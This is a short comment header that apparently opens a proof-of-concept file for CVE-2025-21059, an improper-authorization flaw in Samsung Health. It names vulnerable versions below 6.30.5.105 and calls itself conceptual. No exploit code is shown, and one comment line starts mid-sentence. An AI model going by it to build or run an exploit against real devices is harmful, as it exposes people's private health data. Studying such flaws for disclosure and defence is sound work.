/* PoC for CVE-2025-21059 - Samsung Health Improper Authorization

* authorization vulnerability to access Samsung Health data without
* proper permissions.
*
* Note: This is a conceptual proof-of-concept. The actual exploit
* requires the vulnerable Samsung Health app (< 6.30.5.105) installed
* on the target device.
